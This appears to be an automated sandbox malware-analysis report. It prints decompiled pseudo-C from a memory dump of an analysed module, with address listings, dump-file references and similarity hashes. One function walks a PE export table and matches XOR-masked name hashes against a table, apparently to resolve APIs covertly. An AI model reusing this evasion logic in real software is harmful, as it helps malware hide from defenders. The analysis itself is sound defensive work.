										 *(_t261 + _t237 * 2) = _t252;
										__eflags = _t252;
										if(_t252 != 0) {
											continue;
										}
										break;
									}
									_t370 = _v60;
									_t240 = _v64;
									_t353 = _v68;
									goto L33;
								}
							}
							_t261 = _v56;
							goto L36;
						}
						_t347 = _t363 & 0x0000000f;
						__eflags = _t347;
						if(_t347 == 0) {
							L15:
							asm("pxor xmm0, xmm0");
							_t258 =  ~( ~_t347 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							__eflags = _t258;
							while(1) {
								asm("movdqu xmm1, [esi+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								__eflags = _t182;
								if(_t182 != 0) {
									break;
								}
								_t347 = _t347 + 0x10;
								__eflags = _t347 - _t258;
								if(_t347 < _t258) {
									continue;
								}
								__eflags = _t258 - 0x7fffffff;
								if(_t258 >= 0x7fffffff) {
									L21:
									_t260 = 0x40;
									_t240 = 0x7fffffff;
									goto L22;
								} else {
									goto L19;
								}
								while(1) {
									L19:
									__eflags =  *((char*)(_t258 + _t363));
									if( *((char*)(_t258 + _t363)) == 0) {
										break;
									}
									_t258 = _t258 + 1;
									__eflags = _t258 - 0x7fffffff;
									if(_t258 < 0x7fffffff) {
										continue;
									}
									goto L21;
								}
								L165:
								__eflags = _t240 - 0xfffffffe;
								if(_t240 != 0xfffffffe) {
									_t260 = 0x40;
								} else {
									 *_t363 = 0;
									_t260 = _v52;
								}
								goto L22;
							}
							asm("bsf ebx, eax");
							_t240 = _t258 + _t347;
							goto L165;
						}
						_t240 = 0;
						_t347 =  ~_t347 + 0x10;
						__eflags = _t347;
						while(1) {
							__eflags =  *((char*)(_t240 + _t363));
							if( *((char*)(_t240 + _t363)) == 0) {
								goto L165;
							}
							_t240 = _t240 + 1;
							__eflags = _t240 - _t347;
							if(_t240 < _t347) {
								continue;
							}
							goto L15;
						}
						goto L165;
					}
					_t188 =  &_v56;
					goto L37;
				}
				if(_t363 == 0) {
					L6:
					_push(1);
					_push(_t181);
					E6EFF10B0();
					_t391 = _t391 + 8;
					goto L8;
				}
				_t349 =  *_t181;
				 *_t363 = _t349;
				if(_t349 == 0) {
					goto L6;
				}
				_t288 = 0;
				while(1) {
					_t288 = _t288 + 1;
					_t350 =  *((char*)(_t181 + _t288 * 2 - 1));
					 *((char*)(_t363 + _t288 * 2 - 1)) = _t350;
					if(_t350 == 0) {
						goto L6;
					}
					_t351 =  *((char*)(_t181 + _t288 * 2));
					 *((char*)(_t363 + _t288 * 2)) = _t351;
					if(_t351 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6f00173e
0x6f001742
0x6f001744
0x6f001748
0x6f00174f
0x6f001751
0x6f001754
0x6f00175a
0x6f001791
0x6f001794
0x6f001794
0x6f001798
0x6f0017a0
0x6f0017a6
0x6f0017b1
0x6f0017b3
0x6f001e9e
0x6f001ea3
0x6f00182d
0x6f001832
0x6f001832
0x6f001835
0x6f001838
0x6f00183b
0x6f00183d
0x6f001852
0x6f001855
0x6f001855
0x6f00185b
0x6f001863
0x6f001863
0x6f001863
0x6f001866
0x6f00186d
0x6f001870
0x6f001876
0x6f001878
0x6f00187b
0x6f00187f
0x6f001881
0x6f0018d6
0x00000000
0x6f001883
0x6f001883
0x6f001885
0x6f0018c1
0x6f0018c1
0x6f0018c3
0x6f0018c4
0x6f0018c8
0x6f0018cd
0x6f0018d1
0x6f0018d9
0x6f0018d9
0x6f0018dd
0x6f0018e1
0x6f0018e5
0x6f0018e8
0x6f0018ee
0x6f0018f3
0x6f0018f3
0x6f0018f7
0x6f001900
0x6f001900
0x6f001905
0x6f001907
0x6f001909
0x6f001911
0x6f001913
0x6f001919
0x6f00191d
0x6f001957
0x6f001a03
0x6f001a03
0x6f001a06
0x6f001a08
0x6f001a0f
0x6f001a0f
0x6f001a11
0x6f001a15
0x6f001a1f
0x6f001a23
0x6f001a33
0x6f001a33
0x6f001921
0x6f001947
0x6f001947
0x6f001949
0x6f00194a
0x6f00194f
0x00000000
0x6f00194f
0x6f001923
0x6f001926
0x6f00192a
0x00000000
0x00000000
0x6f00192c
0x6f00192e
0x6f00192e
0x6f00192f
0x6f001934
0x6f00193a
0x00000000
0x00000000
0x6f00193c
0x6f001940
0x6f001945
0x00000000
0x00000000
0x00000000
0x6f001945
0x00000000
0x6f00192e
0x6f0018f9
0x6f0018fe
0x6f00195f
0x6f001961
0x6f001963
0x6f0019ac
0x6f0019ac
0x6f0019b1
0x6f0019b3
0x6f0019b5
0x6f0019bd
0x6f0019bf
0x6f0019c5
0x6f0019c7
0x6f0019c9
0x6f001a00
0x00000000
0x6f001a00
0x6f0019cb
0x6f0019cd
0x6f0019f3
0x6f0019f3
0x6f0019f5
0x6f0019f6
0x6f0019fb
0x00000000
0x6f0019fb
0x6f0019cf
0x6f0019d2
0x6f0019d4
0x6f0019d6
0x00000000
0x00000000
0x6f0019d8
0x6f0019d8
0x6f0019da
0x6f0019da
0x6f0019db
0x6f0019e0
0x6f0019e4
0x6f0019e6
0x00000000
0x00000000
0x6f0019e8
0x6f0019ec
0x6f0019ef
0x6f0019f1
0x00000000
0x00000000
0x00000000
0x6f0019f1
0x00000000
0x6f0019da
0x6f001965
0x6f001968
0x00000000
0x00000000
0x6f00196a
0x6f00196e
0x6f001971
0x6f001977
0x6f00197b
0x6f00197e
0x6f001981
0x6f001981
0x6f001983
0x6f001986
0x6f00198a
0x6f00198c
0x6f00198c
0x6f001992
0x6f001998
0x6f00199b
0x6f00199e
0x00000000
0x00000000
0x6f0019a4
0x6f0019a5
0x6f0019a6
0x6f0019aa
0x00000000
0x00000000
0x00000000
0x6f0019aa
0x6f001a36
0x6f001a3a
0x6f001a3e
0x6f001a40
0x00000000
0x00000000
0x6f001a4b
0x6f001a4e
0x6f001a56
0x6f001a5a
0x6f001a5e
0x6f001a5e
0x6f001a61
0x6f001a65
0x6f001a69
0x6f001a69
0x6f001a6b
0x6f001a6d
0x6f001a8a
0x6f001a96
0x6f001a9a
0x6f001a9a
0x6f001aa0
0x6f001aa4
0x6f001aa4
0x6f001aa9
0x6f001aad
0x6f001ab1
0x6f001ab3
0x00000000
0x00000000
0x6f001ab9
0x6f001abc
0x6f001abe
0x00000000
0x00000000
0x6f001ac0
0x6f001ac4
0x6f001ac8
0x6f001ace
0x6f001aeb
0x6f001aeb
0x6f001af0
0x6f001af0
0x6f001af4
0x6f001af4
0x6f001af6
0x6f001af9
0x6f001afd
0x6f001b01
0x6f001b05
0x6f001b09
0x6f001b0c
0x6f001b0f
0x6f001b15
0x6f001b18
0x6f001b1b
0x6f001b21
0x6f001b24
0x6f001b27
0x6f001b29
0x00000000
0x00000000
0x6f001b35
0x6f001b37
0x6f001b40
0x6f001b40
0x6f001b44
0x6f001b46
0x00000000
0x00000000
0x6f001b4c
0x6f001b4c
0x6f001b4e
0x6f001bb1
0x6f001bb1
0x6f001bb4
0x6f001bc8
0x6f001bd4
0x6f001bd4
0x6f001bda
0x6f001bda
0x6f001bdf
0x6f001be3
0x6f001be7
0x6f001be9
0x00000000
0x00000000
0x6f001bef
0x6f001bf2
0x6f001bf4
0x00000000
0x00000000
0x6f001bf6
0x6f001bfc
0x6f001c0d
0x6f001c0d
0x6f001c12
0x6f001c17
0x6f001c19
0x6f001c1b
0x6f001c1d
0x6f001c23
0x6f001c23
0x6f001c25
0x6f001c25
0x6f001c2c
0x6f001c2e
0x6f001c31
0x6f001c31
0x6f001c33
0x6f001c37
0x6f001d7b
0x6f001d7b
0x6f001d82
0x6f001d84
0x6f001d8a
0x6f001d8c
0x6f001d8e
0x6f001dc8
0x00000000
0x6f001dc8
0x6f001d90
0x6f001d92
0x6f001db8
0x6f001db8
0x6f001dba
0x6f001dbb
0x6f001dc0
0x00000000
0x6f001dc0
0x6f001d94
0x6f001d97
0x6f001d99
0x6f001d9b
0x00000000
0x00000000
0x6f001d9d
0x6f001d9d
0x6f001d9f
0x6f001d9f
0x6f001da0
0x6f001da5
0x6f001da9
0x6f001dab
0x00000000
0x00000000
0x6f001dad
0x6f001db1
0x6f001db4
0x6f001db6
0x00000000
0x00000000
0x00000000
0x6f001db6
0x00000000
0x6f001d9f
0x6f001c3d
0x6f001c41
0x00000000
0x00000000
0x6f001c47
0x6f001c49
0x6f001cb0
0x6f001cb5
0x6f001cb5
0x6f001cb8
0x6f001cbb
0x6f001cbe
0x6f001cc0
0x6f001cd6
0x6f001cd9
0x6f001cd9
0x6f001cdf
0x6f001ce7
0x6f001ce7
0x6f001ce7
0x6f001cea
0x6f001cf4
0x6f001cf7
0x6f001cfa
0x6f001d00
0x6f001d02
0x6f001d08
0x6f001d0a
0x6f001d0c
0x6f001d43
0x00000000
0x6f001d0e
0x6f001d0e
0x6f001d10
0x6f001d36
0x6f001d36
0x6f001d38
0x6f001d39
0x6f001d3e
0x6f001d46
0x6f001d46
0x6f001d4c
0x6f001d4f
0x6f001d51
0x6f001d51
0x6f001d53
0x00000000
0x00000000
0x6f001d59
0x6f001d5d
0x6f001d63
0x6f001d63
0x6f001d66
0x6f001d67
0x6f001d69
0x6f001d6b
0x00000000
0x00000000
0x6f001d6d
0x6f001d6f
0x6f001dd0
0x00000000
0x6f001dd0
0x6f001d71
0x6f001d71
0x6f001d73
0x00000000
0x00000000
0x6f001d61
0x6f001d62
0x6f001d62
0x6f001d62
0x6f001d63
0x6f001d12
0x6f001d15
0x6f001d17
0x6f001d19
0x00000000
0x00000000
0x6f001d1b
0x6f001d1b
0x6f001d1d
0x6f001d1d
0x6f001d1e
0x6f001d23
0x6f001d27
0x6f001d29
0x00000000
0x00000000
0x6f001d2b
0x6f001d2f
0x6f001d32
0x6f001d34
0x00000000
0x00000000
0x00000000
0x6f001d34
0x00000000
0x6f001d1d
0x6f001d0c
0x6f001cc2
0x00000000
0x6f001cc2
0x6f001c4b
0x6f001c4f
0x6f001c4f
0x6f001c52
0x6f001c66
0x6f001c72
0x6f001c72
0x6f001c78
0x6f001c78
0x6f001c7d
0x6f001c81
0x6f001c85
0x6f001c87
0x00000000
0x00000000
0x6f001c8d
0x6f001c90
0x6f001c92
0x00000000
0x00000000
0x6f001c94
0x6f001c9a
0x6f001cab
0x6f001cab
0x00000000
0x00000000
0x00000000
0x00000000
0x6f001c9c
0x6f001c9c
0x6f001c9c
0x6f001ca0
0x00000000
0x00000000
0x6f001ca2
0x6f001ca3
0x6f001ca9
0x00000000
0x00000000
0x00000000
0x6f001ca9
0x00000000
0x6f001c9c
0x6f001dd9
0x6f001ddc
0x00000000
0x6f001ddc
0x6f001c56
0x6f001c58
0x6f001c58
0x6f001c5b
0x6f001c5b
0x6f001c5f
0x00000000
0x00000000
0x6f001c61
0x6f001c62
0x6f001c64
0x00000000
0x00000000
0x00000000
0x6f001c64
0x00000000
0x6f001c5b
0x6f001c1f
0x6f001c21
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f001bfe
0x6f001bfe
0x6f001bfe
0x6f001c02
0x00000000
0x00000000
0x6f001c04
0x6f001c05
0x6f001c0b
0x00000000
0x00000000
0x00000000
0x6f001c0b
0x00000000
0x6f001bfe
0x6f001de3
0x6f001de6
0x00000000
0x6f001de6
0x6f001bb8
0x6f001bba
0x6f001bba
0x6f001bbd
0x6f001bbd
0x6f001bc1
0x00000000
0x00000000
0x6f001bc3
0x6f001bc4
0x6f001bc6
0x00000000
0x00000000
0x00000000
0x6f001bc6
0x00000000
0x6f001bbd
0x6f001b50
0x6f001b55
0x6f001b57
0x6f001b59
0x6f001b61
0x6f001b63
0x6f001b69
0x6f001b6b
0x6f001b6d
0x6f001ba7
0x00000000
0x6f001ba7
0x6f001b6f
0x6f001b71
0x6f001b97
0x6f001b97
0x6f001b99
0x6f001b9a
0x6f001b9f
0x00000000
0x6f001b9f
0x6f001b73
0x6f001b76
0x6f001b78
0x6f001b7a
0x00000000
0x00000000
0x6f001b7c
0x6f001b7c
0x6f001b7e
0x6f001b7e
0x6f001b7f
0x6f001b84
0x6f001b88
0x6f001b8a
0x00000000
0x00000000
0x6f001b8c
0x6f001b90
0x6f001b93
0x6f001b95
0x00000000
0x00000000
0x00000000
0x6f001b95
0x00000000
0x6f001b7e
0x6f001b39
0x6f001b3a
0x6f001b3e
0x00000000
0x00000000
0x00000000
0x6f001b3e
0x6f001ded
0x6f001df0
0x6f001df6
0x6f001df6
0x6f001df7
0x00000000
0x00000000
0x6f001dfd
0x6f001e06
0x6f001e0b
0x6f001e0e
0x6f001e12
0x00000000
0x00000000
0x6f001e18
0x6f001e1b
0x6f001e1f
0x6f001e1f
0x6f001e20
0x6f001e21
0x6f001e2b
0x6f001e31
0x6f001e34
0x6f001e36
0x00000000
0x00000000
0x6f001e38
0x6f001e3b
0x00000000
0x00000000
0x00000000
0x6f001e3d
0x00000000
0x6f001e1f
0x6f001ad0
0x6f001ad4
0x6f001ad4
0x6f001ad8
0x00000000
0x00000000
0x6f001ade
0x6f001adf
0x6f001ae5
0x00000000
0x00000000
0x6f001ae7
0x00000000
0x6f001ae7
0x6f001e42
0x6f001e42
0x6f001e46
0x6f001e46
0x6f001e48
0x00000000
0x00000000
0x6f001e4e
0x00000000
0x00000000
0x00000000
0x6f001e54
0x6f001e59
0x6f001e5c
0x6f001e60
0x6f001e62
0x00000000
0x6f001e62
0x6f001a6f
0x6f001a73
0x6f001a75
0x6f001a75
0x6f001a77
0x6f001a77
0x6f001a7b
0x00000000
0x00000000
0x6f001a81
0x6f001a82
0x6f001a84
0x00000000
0x00000000
0x6f001a86
0x00000000
0x6f001a86
0x00000000
0x6f001e68
0x6f001e68
0x6f001e6b
0x6f001e6f
0x6f001e6f
0x00000000
0x6f001e77
0x00000000
0x6f0018fe
0x6f001887
0x6f00188a
0x6f00188c
0x6f00188e
0x00000000
0x00000000
0x6f001890
0x6f001894
0x6f001894
0x6f001896
0x6f00189a
0x6f00189d
0x6f00189d
0x6f00189e
0x6f0018a3
0x6f0018a7
0x6f0018a9
0x00000000
0x00000000
0x6f0018ab
0x6f0018af
0x6f0018b2
0x6f0018b4
0x00000000
0x00000000
0x00000000
0x6f0018b4
0x6f0018b6
0x6f0018ba
0x6f0018be
0x00000000
0x6f0018be
0x6f001881
0x6f00183f
0x00000000
0x6f00183f
0x6f0017bb
0x6f0017bb
0x6f0017be
0x6f0017d6
0x6f0017da
0x6f0017e6
0x6f0017e6
0x6f0017ec
0x6f0017ec
0x6f0017f1
0x6f0017f5
0x6f0017f9
0x6f0017fb
0x00000000
0x00000000
0x6f001801
0x6f001804
0x6f001806
0x00000000
0x00000000
0x6f001808
0x6f00180e
0x6f001823
0x6f001823
0x6f001828
0x00000000
0x00000000
0x00000000
0x00000000
0x6f001810
0x6f001810
0x6f001810
0x6f001814
0x00000000
0x00000000
0x6f00181a
0x6f00181b
0x6f001821
0x00000000
0x00000000
0x00000000
0x6f001821
0x6f001e7c
0x6f001e7c
0x6f001e7f
0x6f001e8d
0x6f001e81
0x6f001e81
0x6f001e84
0x6f001e84
0x00000000
0x6f001e7f
0x6f001e97
0x6f001e9a
0x00000000
0x6f001e9a
0x6f0017c2
0x6f0017c4
0x6f0017c4
0x6f0017c7
0x6f0017c7
0x6f0017cb
0x00000000
0x00000000
0x6f0017d1
0x6f0017d2
0x6f0017d4
0x00000000
0x00000000
0x00000000
0x6f0017d4
0x00000000
0x6f0017c7
0x6f0017a8
0x00000000
0x6f0017a8
0x6f00175e
0x6f001784
0x6f001784
0x6f001786
0x6f001787
0x6f00178c
0x00000000
0x6f00178c
0x6f001760
0x6f001763
0x6f001767
0x00000000
0x00000000
0x6f001769
0x6f00176b
0x6f00176b
0x6f00176c
0x6f001771
0x6f001777
0x00000000
0x00000000
0x6f001779
0x6f00177d
0x6f001782
0x00000000
0x00000000
0x00000000
0x6f001782
0x00000000

Strings

@, xrefs: 6F001798

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: a8b937767d9d941c8a342fb20a13b9f32eeb100c99e286f27a39f05552e35147
Instruction ID: 32e218b0b9d4b2975c9878dad32737436dad8f16fc062ef96ae4a96805629920
Opcode Fuzzy Hash: a8b937767d9d941c8a342fb20a13b9f32eeb100c99e286f27a39f05552e35147
Instruction Fuzzy Hash: 05324B70A0C3928BF711DA78848075A7BE26FC6318F18876FE8A58F256EB75D541C782

Uniqueness

Uniqueness Score: -1.00%

Function 6EFE9E70, Relevance: 1.8, Strings: 1, Instructions: 591
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E6EFE9E70(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t212;
				void* _t214;
				void* _t218;
				void* _t287;
				void* _t289;
				void* _t290;
				void* _t291;
				char* _t324;
				void* _t337;
				void* _t340;
				signed int _t358;
				char _t360;
				intOrPtr _t369;
				intOrPtr _t370;
				void* _t371;
				void* _t372;
				void* _t374;
				void* _t376;
				void* _t391;
				void* _t410;
				intOrPtr* _t438;
				signed int _t528;
				char* _t529;
				void* _t530;
				intOrPtr* _t533;
				void* _t534;
				signed int _t537;
				void* _t538;
				void* _t539;
				void* _t541;
				intOrPtr _t542;
				void* _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				intOrPtr* _t554;
				intOrPtr _t555;
				void* _t556;
				intOrPtr _t557;
				intOrPtr _t558;
				intOrPtr _t559;
				void* _t561;
				intOrPtr* _t563;
				void* _t564;

				_t512 = __edx;
				_t557 = __edx;
				_t369 = __ecx;
				if(E6F014850(E6F009640(__ecx, 0), __edx) == 0 ||  *((char*)(E6EFF3930(__ecx, 0, _t530, _t539) + 0xb)) != 0x20) {
					_t212 = E6F0148C0(E6F009640(_t369, 0), _t512);
					__eflags = _t212;
					if(_t212 == 0) {
						L36:
						__eflags = 0;
						return 0;
					} else {
						_t214 = E6EFF3930(_t369, 0, _t530, _t539);
						__eflags =  *((char*)(_t214 + 0xb)) - 0x40;
						if( *((char*)(_t214 + 0xb)) != 0x40) {
							goto L36;
						} else {
							 *((intOrPtr*)(_t563 + 0x10)) = 0x40;
							goto L6;
						}
					}
				} else {
					 *((intOrPtr*)(_t563 + 0x10)) = 0x20;
					L6:
					 *((intOrPtr*)(_t563 + 0x4e8)) = 0;
					 *((intOrPtr*)(_t563 + 0x4ec)) = 0;
					 *((intOrPtr*)(_t563 + 0x4f0)) = 0;
					E6F0006A0(_t563 + 0x470, _t557, 0);
					E6EFF2370(_t563 + 0x474, _t530, _t539);
					_t218 = E6F006EC0(_t563 + 0x474,  *((intOrPtr*)(_t563 + 0x478)), 0);
					E6EFEAC00(_t563 + 0x47c, 9);
					E6EFFFDB0(_t563 + 0x480, _t563 + 0x484);
					E6F006EC0(_t218,  *((intOrPtr*)(_t563 + 0x488)), 0);
					E6F000B10(_t563 + 0x484);
					E6EFF8CA0(_t563 + 0x47c);
					E6F000B10(_t563 + 0x474);
					_t391 = _t563 + 0x18c;
					 *((intOrPtr*)(_t391 - 0x10)) = 0;
					 *((char*)(_t391 - 0xc)) = 1;
					 *((intOrPtr*)(_t391 - 8)) = 0;
					 *((intOrPtr*)(_t391 - 4)) = 3;
					E6EFF87A0(_t391);
					_push(1);
					if(E6F00CEA0(_t369, _t563 + 0x180,  *((intOrPtr*)(_t563 + 0x46c)), _t563 + 0x484, _t218) != 0) {
						 *((intOrPtr*)(_t563 + 4)) = _t557;
						_t538 = _t563 + 0x1c0;
						_t556 = _t563 + 0x4c4;
						goto L8;
						L8:
						E6EFF8AB0(_t563 + 0x4c4, _t538, 0);
						E6EFFFDB0(_t563 + 0x4c0, _t556);
						E6F0037E0(_t563 + 0x4f0,  *((intOrPtr*)(_t563 + 0x4c8)),  *((intOrPtr*)(_t563 + 0x4e8)));
						E6F000B10(_t556);
						E6EFF8CA0(_t563 + 0x4bc);
						if(E6F00D0E0(_t563 + 0x17c) != 0) {
							goto L8;
						} else {
							_t557 =  *((intOrPtr*)(_t563 + 4));
						}
					}
					E6EFF8CA0(_t563 + 0x18c);
					if( *((char*)(_t563 + 0x180)) != 0) {
						_t555 =  *((intOrPtr*)(_t563 + 0x17c));
						if(_t555 == 0 || _t555 == 0xffffffff) {
							_t360 = 1;
						} else {
							_t360 = 0;
						}
						if(_t360 == 0) {
							E6F00CE70(_t555);
						}
					}
					 *((intOrPtr*)(_t563 + 0x17c)) = 0;
					E6F000B10(_t563 + 0x46c);
					 *((intOrPtr*)(_t563 + 0x440)) = 0;
					 *((intOrPtr*)(_t563 + 0x444)) = 0;
					 *((intOrPtr*)(_t563 + 0x448)) = 0;
					_t541 = E6F00E170(0,  *((intOrPtr*)(_t563 + 0x4e8)));
					 *((intOrPtr*)(_t563 + 0x14)) =  *((intOrPtr*)(_t563 + 0x4e8));
					 *_t563 = _t369;
					 *((intOrPtr*)(_t563 + 4)) = _t557;
					_t558 = 0;
					while(1) {
						_t542 =  ==  ? _t558 : _t541;
						_t533 = E6F007600(_t563 + 0x4ec, _t542);
						_t516 = _t533;
						if(E6EFEA830( *((intOrPtr*)(_t563 + 0x10)), _t533, _t542) == 0) {
							goto L35;
						}
						E6F0006A0(_t563 + 0x4d0, _t558, 0);
						E6EFF2370(_t563 + 0x4d4, _t533, _t542);
						E6F006EC0(E6F006EC0(_t563 + 0x4d4,  *((intOrPtr*)(_t563 + 0x4d8)), 0),  *_t533, 0);
						E6F000B10(_t563 + 0x4d4);
						E6F00A280(_t563 + 0x49c,  *((intOrPtr*)(_t563 + 0x4d8)), 1, 0, 0x80);
						E6F00A520(_t563 + 0x494, _t516, _t563 + 0x4a4, 0);
						E6F014A20(_t563 + 0x4dc, E6F009640(_t563 + 0x4a4, 0));
						E6F009510(_t563 + 0x4a0);
						E6F00BDC0(_t563 + 0x49c, 0);
						if(E6F007620(_t563 + 0x4dc, _t542) != 0) {
							 *((intOrPtr*)(_t563 + 0x4b0)) = _t558;
							_t410 = _t563 + 0x4dc;
							 *((intOrPtr*)(_t410 - 0x28)) = _t558;
							 *((intOrPtr*)(_t410 - 0x24)) = _t558;
							E6F007560(_t410, _t533, _t542);
							__eflags =  *((char*)(_t563 + 0x49c));
							if( *((char*)(_t563 + 0x49c)) != 0) {
								E6F00BE30(_t563 + 0x498, _t542);
							}
						} else {
							if( *((intOrPtr*)(_t563 + 0x4dc)) > 0) {
								 *((intOrPtr*)(_t563 + 0xc)) = _t533;
								 *((intOrPtr*)(_t563 + 8)) = _t542;
								_t376 = _t563 + 0x4f4;
								do {
									_t554 = E6F007600(_t563 + 0x4e0, _t558);
									E6F001020(_t554, _t376);
									_t358 = E6F00D620( *((intOrPtr*)(_t563 + 0x4f4)), E6F006040( *((intOrPtr*)(_t563 + 0x4f4)), 0x7fffffff));
									E6F000B10(_t376);
									_t537 = _t358 ^ 0x38ba5c7b;
									_t528 = 0;
									while(_t537 !=  *((intOrPtr*)(0x6f019440 + _t528 * 4))) {
										_t528 = _t528 + 1;
										if(_t528 < 0x30) {
											continue;
										} else {
											_t529 =  *_t554;
											if(_t529 != 0) {
												 *_t529 = 0;
											}
										}
										goto L27;
									}
									L27:
									_t558 = _t558 + 1;
								} while (_t558 <  *((intOrPtr*)(_t563 + 0x4dc)));
								_t533 =  *((intOrPtr*)(_t563 + 0xc));
								_t558 = 0;
								_t542 =  *((intOrPtr*)(_t563 + 8));
							}
							E6F0071F0(_t563 + 0x4b4, _t542, E6F003EC0(_t563 + 0x4dc));
							E6F007560(_t563 + 0x4dc, _t533, _t542);
							if( *((char*)(_t563 + 0x49c)) != 0) {
								E6F00BE30(_t563 + 0x498, _t542);
							}
						}
						E6EFF8CA0(_t563 + 0x48c);
						E6F000B10(_t563 + 0x4cc);
						if(E6F007620(_t563 + 0x4b0, _t542) != 0) {
							E6F007560(_t563 + 0x4b0, _t533, _t542);
							goto L35;
						}
						_t370 =  *_t563;
						_t559 =  *((intOrPtr*)(_t563 + 4));
						_t543 = E6F00E170(0,  *((intOrPtr*)(_t563 + 0x4b0)));
						E6F0037E0(_t563 + 0x448,  *_t533,  *((intOrPtr*)(_t563 + 0x440)));
						E6F0037E0(_t563 + 0x448,  *((intOrPtr*)(E6F007600(_t563 + 0x4b4, _t252))),  *((intOrPtr*)(_t563 + 0x440)));
						E6F007560(_t563 + 0x4b0, _t533, _t252);
						E6F007560(_t563 + 0x4e8, _t533, _t252);
						E6F0006A0(_t563 + 0x450, _t559, 0);
						E6F0006A0(_t563 + 0x458, _t559, 0);
						E6F006EC0(_t563 + 0x454,  *((intOrPtr*)(E6F007600(_t563 + 0x444, 0))), 0);
						E6F006EC0(_t563 + 0x45c,  *((intOrPtr*)(E6F007600(_t563 + 0x444, 1))), 0);
						E6F0006A0(_t563 + 0x460, _t559, 0);
						E6EFF2370(_t563 + 0x464, _t533, _t252);
						E6F006EC0(E6F006EC0(_t563 + 0x464,  *((intOrPtr*)(_t563 + 0x468)), 0),  *((intOrPtr*)(_t563 + 0x458)), 0);
						E6F000B10(_t563 + 0x464);
						E6F00A280(_t563 + 0x42c,  *((intOrPtr*)(_t563 + 0x468)), 1, 0, 0x80);
						E6F00A520(_t563 + 0x424,  *((intOrPtr*)(_t563 + 0x4b0)), _t563 + 0x430, 0);
						__eflags =  *((char*)(_t563 + 0x42c));
						if( *((char*)(_t563 + 0x42c)) != 0) {
							E6F00BE30(_t563 + 0x428, _t543);
						}
						E6EFF8CA0(_t563 + 0x41c);
						__eflags = E6F009660(_t563 + 0x430);
						if(__eflags == 0) {
							E6F0006A0(_t563 + 0x3e4, _t559, 0);
							_push(0);
							E6F009350(_t563 + 0x3f4);
							_push(0);
							E6F009350(_t563 + 0x404);
							_t438 = _t563 + 0x410;
							 *_t438 = 0;
							 *((intOrPtr*)(_t438 + 4)) = 0;
							 *((intOrPtr*)(_t438 + 8)) = 0;
							E6F007560(_t438, _t533, _t543);
							E6F00A110(_t563 + 0x400);
							_t280 = E6F00A110(_t563 + 0x3f0);
							__eflags =  *((intOrPtr*)(_t563 + 0x10)) - 0x20;
							if( *((intOrPtr*)(_t563 + 0x10)) != 0x20) {
								__eflags =  *((intOrPtr*)(_t563 + 0x10)) - 0x40;
								if( *((intOrPtr*)(_t563 + 0x10)) == 0x40) {
									_t337 = E6F0147D0(E6F009640(_t563 + 0x434, 0));
									_t280 = _t337 + 0x88;
									__eflags = _t337 + 0x88;
								}
							} else {
								_t280 = E6F0147D0(E6F009640(_t563 + 0x434, 0)) + 0x78;
							}
							_t534 = E6F014830(E6F009640(_t563 + 0x434, 0),  *_t280);
							 *((intOrPtr*)(_t563 + 0x3ec)) =  *((intOrPtr*)(_t534 + 0x10));
							E6F000B30(_t563 + 0x3e8,  *((intOrPtr*)(_t534 + 0xc)), E6F014830(E6F009640(_t563 + 0x434, 0),  *((intOrPtr*)(_t534 + 0xc))));
							_t287 = E6F014830(E6F009640(_t563 + 0x434, 0),  *((intOrPtr*)(_t534 + 0x20)));
							__eflags =  *((intOrPtr*)(_t534 + 0x18));
							if( *((intOrPtr*)(_t534 + 0x18)) > 0) {
								 *_t563 = _t370;
								_t553 = 0;
								__eflags = 0;
								 *((intOrPtr*)(_t563 + 4)) = _t559;
								_t374 = _t287;
								do {
									E6F0037E0(_t563 + 0x418, E6F014830(E6F009640(_t563 + 0x434, 0),  *((intOrPtr*)(_t374 + _t553 * 4))),  *((intOrPtr*)(_t563 + 0x410)));
									_t553 = _t553 + 1;
									__eflags = _t553 -  *((intOrPtr*)(_t534 + 0x18));
								} while (_t553 <  *((intOrPtr*)(_t534 + 0x18)));
								_t370 =  *_t563;
								_t559 =  *((intOrPtr*)(_t563 + 4));
							}
							_t289 = E6F014830(E6F009640(_t563 + 0x434, 0),  *((intOrPtr*)(_t534 + 0x24)));
							__eflags =  *((intOrPtr*)(_t534 + 0x18));
							if( *((intOrPtr*)(_t534 + 0x18)) > 0) {
								 *_t563 = _t370;
								_t552 = 0;
								__eflags = 0;
								 *((intOrPtr*)(_t563 + 4)) = _t559;
								_t561 = _t289;
								do {
									E6F009670(_t563 + 0x404, E6F009650(_t563 + 0x400) + 2);
									 *((short*)(E6F009640(_t563 + 0x404, E6F009650(_t563 + 0x400) + 0xfffffffe))) =  *(_t561 + _t552 * 2) & 0x0000ffff;
									_t552 = _t552 + 1;
									__eflags = _t552 -  *((intOrPtr*)(_t534 + 0x18));
								} while (_t552 <  *((intOrPtr*)(_t534 + 0x18)));
								_t370 =  *_t563;
								_t559 =  *((intOrPtr*)(_t563 + 4));
							}
							_t290 = E6F009640(_t563 + 0x434, 0);
							_t523 =  *((intOrPtr*)(_t534 + 0x1c));
							_t291 = E6F014830(_t290,  *((intOrPtr*)(_t534 + 0x1c)));
							__eflags =  *((intOrPtr*)(_t534 + 0x14));
							if( *((intOrPtr*)(_t534 + 0x14)) > 0) {
								 *_t563 = _t370;
								_t551 = 0;
								__eflags = 0;
								 *((intOrPtr*)(_t563 + 4)) = _t559;
								_t372 = _t291;
								do {
									E6F009670(_t563 + 0x3f4, E6F009650(_t563 + 0x3f0) + 1);
									_t324 = E6F009640(_t563 + 0x3f4, E6F009650(_t563 + 0x3f0) - 1);
									_t523 = _t324;
									__eflags =  *((intOrPtr*)(_t372 + _t551 * 4));
									_t551 = _t551 + 1;
									 *_t324 = 0 | __eflags > 0x00000000;
